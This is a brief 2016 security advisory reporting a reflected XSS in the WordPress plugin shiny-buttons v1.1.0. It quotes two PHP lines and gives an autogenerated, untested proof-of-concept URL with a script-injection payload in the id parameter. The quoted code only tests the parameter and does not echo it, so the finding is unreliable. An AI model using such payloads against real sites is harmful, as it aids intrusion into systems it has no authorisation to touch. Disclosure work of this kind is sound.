Advisory #: 558
Title: Reflected XSS in wordpress plugin shiny-buttons v1.1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/shiny-buttons
Downloads: 1395
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: shiny-buttons
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./shiny-buttons/tpls/templates.php: 279: <input type="submit" name="do" id="btn" class="button-primary" value="<?php echo $_GET['id']?'Update Changes':'Save Changes'; ?>"> 280: <?php echo $_GET['id']?'<input type=button onclick="location.href=\'admin.php?page=shiny-buttons\'" class="button-primary" value="Cancel" >':''; ?> The variable id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./shiny-buttons/tpls/templates.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/shiny-buttons/tpls/templates.php?id="><script>alert(1);</script><"